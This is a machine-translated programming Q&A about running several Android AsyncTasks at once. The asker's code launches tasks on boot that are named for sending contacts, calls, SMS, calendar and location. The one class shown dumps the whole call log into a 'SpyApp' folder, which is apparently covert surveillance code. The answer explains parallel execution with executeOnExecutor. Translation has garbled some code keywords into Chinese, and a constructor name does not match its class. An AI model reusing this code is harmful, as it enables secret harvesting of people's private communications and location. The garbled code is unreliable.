Question

我可以添加多个AsyncTask并同时执行吗？从主要活动开始，我可以像这样开始执行多个Asynctask。

public class Receivers扩展了BroadcastReceiver {

@SuppressWarnings("deprecation")
@Override
public void onReceive(Context context, Intent intent) {
    // TODO Auto-generated method stub
    Log.e("Hello>>", "From OnReceive");

    if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED)) {
        Log.e("Hello......>>", "From OnReceive");

        MyContactsSending mycon= new MyContactsSending(context);
        mycon.execute();

        Log.e("contacts","Executed");
        MyCallsSending send = new MyCallsSending(context);
        send.execute();

        Log.e("calls","Executed");

        MySmsSending smssms = new MySmsSending(context);
        smssms.execute();

        Log.e("sms","Executed");

        MyCalendarSending calendar = new MyCalendarSending(context);
        calendar.execute();

        Log.e("calendar","Executed");
        MyLocationSending location = new MyLocationSending(context);

        location.execute();
        Log.e("GPS","Executed");

    }

}

}

这里在这段代码中我得到了所有的Logs，但之后它不会进入Asynctask的doInBackground（）方法。（没有）。我在每个类的方法doInBackground（）中设置了Log，但没有一个在Log中被命中（意味着没有执行该方法）。

我的问题是，我可以像这样执行多个AsyncTask的对象吗？

我的一个AsyncTask类的代码就是：

公共类MyCallsSending扩展了AsyncTask {

Context concall;
public MyCallsSending(Context con){
    this.concall = con;
}
@Override
protected Void doInBackground(Void... params) {
    // TODO Auto-generated method stub

    Calls call = new Calls(concall);
    call.getCallDetails();
    Log.e("Calls Sending", "from asynctask");

    return null;
}

}

并且Calls类的代码是这样的：

public class Calls {

Context con;

public calls(Context con){
    this.con = con;
}

public void getCallDetails() {

    StringBuffer sb = new StringBuffer();
    Cursor managedCursor = con.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
            null, null, null);
    if (managedCursor != null) {
        Log.i("Cursor has values...", "Yes");
    }
    int number = managedCursor.getColumnIndex(CallLog.Calls.NUMBER);
    int type = managedCursor.getColumnIndex(CallLog.Calls.TYPE);
    int date = managedCursor.getColumnIndex(CallLog.Calls.DATE);
    int duration = managedCursor.getColumnIndex(CallLog.Calls.DURATION);
    sb.append("************Call Details************\n");
    managedCursor.moveToFirst();

    do {
        String phNumber = managedCursor.getString(number);
        String callType = managedCursor.getString(type);
        String callDate = managedCursor.getString(date);
        Date callDayTime = new Date(Long.valueOf(callDate));
        String callDuration = managedCursor.getString(duration);
        String dir = null;
        int dircode = Integer.parseInt(callType);

        switch (dircode) {
        case CallLog.Calls.OUTGOING_TYPE:
            dir = "OUTGOING";
            break;

        case CallLog.Calls.INCOMING_TYPE:
            dir = "INCOMING";
            break;

        case CallLog.Calls.MISSED_TYPE:
            dir = "MISSED";
            break;

        }

        Log.i("Values", phNumber + callType + callDate);
        sb.append("\nPhone Number:- " + phNumber + " \nCall Type:- " + dir
                + " \nCall Date:- " + callDayTime
                + " \nCall duration in sec :- " + callDuration);
        sb.append("\n-----------------------------------");
    } while (managedCursor.moveToNext());


    managedCursor.close();

    try {

        File myFile = new File(Environment.getExternalStorageDirectory()
                + File.separator + "SpyApp");
        if (!myFile.exists()) {
            myFile.mkdir();
        } else {
            //Toast.makeText(getApplicationContext(), "Already Created..",
                //  Toast.LENGTH_LONG).show();
        }
        String path = myFile.getPath();
        //Log.e(">>>>>>>>>>>>>", ">>>>>>>>>" + path);

        File file = new File(path + File.separator + "CallLog.txt");
        if (!file.exists()) {
            file.createNewFile();
        } else {
            //Toast.makeText(getApplicationContext(), "Already Created..",
                //  Toast.LENGTH_LONG).show();
        }

        FileOutputStream fOut = new FileOutputStream(file);
        OutputStreamWriter myOutWriter = new OutputStreamWriter(fOut);

        myOutWriter.append(sb.toString());
        myOutWriter.flush();
        myOutWriter.close();
        fOut.close();
        //Toast.makeText(getBaseContext(), "Done writing SD 'mysdfile.txt'",
            //  Toast.LENGTH_SHORT).show();
    } catch (Exception e) {
        //Toast.makeText(getBaseContext(), e.getMessage(), Toast.LENGTH_SHORT)
            //  .show();
    }

}

}

Answer 1

简短版：当然可以！

默认情况下，AsyncTask在串行队列中执行（一个接一个），但如果您希望它们同时运行，您可以：

new MyAsyncTask().executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, MY_RANDOM_VAR);

从HONEYCOMB开始，任务在单个线程上执行，以避免由并行执行引起的常见应用程序错误。如果您真的想要并行执行，可以使用THREAD_POOL_EXECUTOR调用executeOnExecutor（java.util.concurrent.Executor，Object []）。 AsyncTask on Android's Documentation

使用并行线程时要小心，不要使设备过载并使应用程序死亡。

我可以添加多个AsyncTask并同时执行吗？

1 个答案: